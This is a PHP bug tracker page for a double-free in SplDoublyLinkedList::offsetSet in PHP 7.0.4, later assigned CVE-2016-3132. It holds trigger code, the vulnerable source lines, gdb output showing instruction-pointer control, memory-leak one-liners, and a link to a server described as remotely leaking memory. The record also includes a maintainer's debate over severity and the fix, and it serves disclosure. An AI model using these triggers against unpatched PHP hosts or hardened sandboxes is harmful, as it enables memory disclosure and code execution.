php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #71735 Double-free in SplDoublyLinkedList::offsetSet
Submitted: 2016-03-07 23:31 UTC Modified: 2016-05-10 13:42 UTC
From: emmanuel dot law at gmail dot com Assigned: ab (profile)
Status: Closed Package: SPL related
PHP Version: 7.0.4 OS: *
Private report: No CVE-ID: 2016-3132
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: emmanuel dot law at gmail dot com
New email:
PHP Version: OS:

 

 [2016-03-07 23:31 UTC] emmanuel dot law at gmail dot com
Description:
------------
This issues only affects php 7.x branch.
There exist a double-free vulnerability when calling SplDoublyLinkedList::offsetSet and passing in an invalid index.

Example:

$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01'));
//DateTime will be double-freed

The vulnerability is in ext/spl_dllist.c:833 where it is freed once:

 832                 if (index < 0 || index >= intern->llist->count) {
 833                         zval_ptr_dtor(value);
 834                         zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0);
 835                         return;
 836                 }
 837
 
 
 The second free occurs in Zend/zend_vm_execute.h:855 when it cleans up the call stack:

  854                 EG(current_execute_data) = call->prev_execute_data;
  855                 zend_vm_stack_free_args(call);
  
  
  
I've created a poc that exploits this to gain code execution:
 
gdb --args php_7.0.4 doublefree.spl_dllist.poc.php
....
Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
gdb-peda$ p $rip
$1 = (void (*)()) 0xdeadbeef



POC can be obtained via https://www.dropbox.com/s/2tm8mlrdhfitymv/doublefree.SplStack.poc.php?dl=0


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-03-21 05:17 UTC] stas@php.net
Doesn't look like a security issue - requires specially crafted code to reproduce the bug.
 [2016-03-21 06:10 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-03-21 06:11 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=28a6ed9f9a36b9c517e4a8a429baf4dd382fc5d5
Log: Fix bug #71735: Double-free in SplDoublyLinkedList::offsetSet
 [2016-03-21 06:11 UTC] stas@php.net
-Status: Open +Status: Closed
 [2016-03-21 06:19 UTC] emmanuel dot law at gmail dot com
-Status: Closed +Status: Open -Type: Bug +Type: Security -Private report: No +Private report: Yes
 [2016-03-21 06:19 UTC] emmanuel dot law at gmail dot com
The specially crated code i gave was to gain remote code execution. 

Here are several simpler examples that leak the memory. Notice how each time I change the length of str_repeat, it leaks different part of the memory:

#### Example 1, str_repeat 0x5 #####

$ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x05));'    <<< string length 
  
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'function')       <<<<<< Leaks 'function'
#1 {main}
  thrown in Command line code on line 1



#### Example 2, str_repeat 0x15 #####


$ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x15));'

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, '\x01\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00...')  <<<<<< Leaks random bytes in memory
#1 {main}
  thrown in Command line code on line 1



#### Example 3, str_repeat 0x20 #####

$ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x20));'

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'OutOfRangeExcep...')     <<<<<< Leaks other strings in memory
#1 {main}
  thrown in Command line code on line 1



#### Example 4 str_repeat 0x30 #####

$ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x30));'

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'AAAAAAAAAAAAAAA...')    <<< this is the expected output.
#1 {main}
  thrown in Command line code on line 1



This discrepancies in the output are all manifestation of the double free vulnerability. Depending on what is passed into the vulnerable function, it results in different form of exploitation. Thus I think it's a security issue. Imagine a plausible code such as:

<?php
new SplStack())->offsetSet($_GET['id'],$_GET['data']);

?>
 [2016-03-21 06:35 UTC] stas@php.net
I'm sorry, I'm not sure I understand - all your examples are constructed code run on the command line, so how that comes to remote exploit? Also, you reopened the bug - did you mean you still can reproduce it? I could not reproduce it with your examples after the fix, could you please provide more information about what do you see after the fix?
 [2016-03-21 06:35 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2016-03-21 06:35 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-03-21 07:50 UTC] emmanuel dot law at gmail dot com
-Status: Feedback +Status: Closed
 [2016-03-21 07:50 UTC] emmanuel dot law at gmail dot com
1) Didn't mean to re-open the bug. Was a race condition when both you and I were replying.

2)Here's my last word on why I think it is a security bug. I'll leave the final decision to you.

==Remote Scenario (nginx)==
Here's a remote exploit that leaks the the memory on server:
Vuln: http://52.63.107.251/71750.php?id=0&times=100
Source code: http://52.63.107.251/71750.php.src


Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in /usr/share/nginx/html/71750.php:6 Stack trace: #0 /usr/share/nginx/html/71750.php(6): SplDoublyLinkedList->offsetSet('0', '`<\x96\xA6\xD5\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00...') #1 {main} thrown in /usr/share/nginx/html/71750.php on line 6

===Local scenario===
It is possible to gain (local) code execution within harden php environment where functions such as exec() or system() are disabled. EG: Harden production environment or sites such as sandbox.onlinephpfunctions.com and 3v4l.org
 [2016-03-21 07:51 UTC] emmanuel dot law at gmail dot com
Also, the patch works. So either way problem is solved.
 [2016-04-29 02:22 UTC] emmanuel dot law at gmail dot com
CVE-2016-3132 has been assigned to this. FYI.
 [2016-05-10 13:42 UTC] ab@php.net
-Assigned To: +Assigned To: ab -CVE-ID: +CVE-ID: 2016-3132
 [2016-07-20 11:32 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=28a6ed9f9a36b9c517e4a8a429baf4dd382fc5d5
Log: Fix bug #71735: Double-free in SplDoublyLinkedList::offsetSet
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Wed Oct 09 08:01:27 2024 UTC